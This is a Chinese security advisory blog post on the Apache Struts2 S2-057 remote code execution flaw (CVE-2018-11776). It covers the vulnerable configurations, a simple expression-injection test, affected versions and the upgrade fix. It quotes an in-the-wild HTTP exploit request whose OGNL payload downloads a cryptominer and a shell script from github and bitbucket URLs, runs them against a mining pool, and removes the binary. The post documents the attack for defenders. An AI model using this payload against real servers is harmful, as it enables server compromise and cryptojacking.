【漏洞预警】Struts2最新RCE漏洞S2-057(CVE-2018-11776)-带POC

BaCde  2315天前

北京时间2018年08月22日,Struts2 官方网站公布最新一个远程命令执行漏洞,编号为S2-057。该漏洞可能导致攻击者提升权限,控制服务器。由于Struts2使用广泛,国内政府,大型企业均有使用该框架,请及时升级最新版本或做好防护措施。

Struts2是一个基于MVC设计模式的Web应用框架,目前已经发展成为一个非常成熟的框架。全球用大量的网站使用该框架开发。其中许多政府,大型企业均有使用。

Struts2 全球共有281021个对外开放,使用最多的国家是美国,共有78459个;中国第二65216;韩国第三,共有52421个;爱尔兰第四,共有12944个;乌拉圭第五,共有12927 个。中国地区中北京市最多,共有15471个;浙江省第二,共有15249个;广东省第三,共有5159个;上海市第四,共有3564个;江苏省第五,共有3292 个。

1111.jpg

全球分布情况(仅为分布情况,不是漏洞影响情况)
2222.jpg

中国地区分布情况(仅为分布情况,不是漏洞影响情况)

漏洞原理与危害

Struts2应用程序的配置文件(配置文件根据应用实际情况而不同)中如果namespace值未设置且(ActionConfiguration)中未设置或使用通配符的namespace时可能会导致远程代码执行,同样也可能因为配置文件中没有对url标签设置valueaction的值,并且没有设置namespace或使用通配符的namespace也会导致远程代码执行。该漏洞的攻击点包括Redirect actionAction chainingPostback result,这3种都属于struts2的跳转方式,用户可通过这3种传入静心构造的payload来发起攻击。

该漏洞危害等级为严重,任意攻击者可利用该漏洞执行远程执行任意命令,造成服务器被入侵的等安全风险。由于该漏洞通配符的namespace为禁用,在实际场景中存在一定局限性。

下图中我们在网址中加入表达式${999+999},访问后可跳转到地址为1998,证明成功执行语句。


s2-057 漏洞验证


 s2-057 漏洞验证

s2-057漏洞检测脚本

s2-057漏洞检测脚本

根据白帽汇近日观察,目前网络中已经出现通过该漏洞POC进行挖矿扫描的案例,攻击者采用的攻击代码如下:

GET 
/struts3-showcase/$${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘wget -O xrig hxxps://github.com/cnrig/cnrig/releases/download/v0.1.5-release/cnrig-0.1.5-linux-x86_64;wget hxxps://bitbucket.org/c646/zz/downloads/upcheck.sh || curl -L hxxps://bitbucket.org/c646/zz/downloads/upcheck.sh –output upcheck.sh;chmod x xrig;chmod x upcheck.sh;nohup ./upcheck.sh &;nohup ./xrig -a cryptonight -o us-east.cryptonight-hub.miningpoolhub.com:20580 -u c646.miner -p x &;rm xrig’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#sbtest.println(#d),#sbtest.close())}/actionChain1.action HTTP/1.1
攻击者利用上述代码用来传播挖矿木马从事挖矿活动。攻击者将程序使通过github.com和bitbucket.org两个代码托管平台作为媒介来传播。

漏洞影响

漏洞版本包括Struts 2.3 - Struts 2.3.34, Struts 2.5 - Struts 2.5.16,除此之外还有可能其他版本也受影响。

漏洞POC

FOFA客户端已收录该POC。后续最新可以查看或者关注本链接(https://nosec.org/home/detail/1755.html)。

6666.png

CVE编号

CVE-2018-11776

修复建议

1、 官方新版本已经修复该漏洞,建议直接升级到Apache Struts版本2.3.35或2.5.17。官方的下载地址为https://archive.apache.org/dist/struts/

参考

[1] https://cwiki.apache.org/confluence/display/WW/S2-057

[2]https://lgtm.com/blog/apache_struts_CVE-2018-11776

[3] https://www.volexity.com/blog/2018/08/27/active-exploitation-of-new-apache-struts-vulnerability-cve-2018-11776-deploys-cryptocurrency-miner/

最新评论

昵称
邮箱
提交评论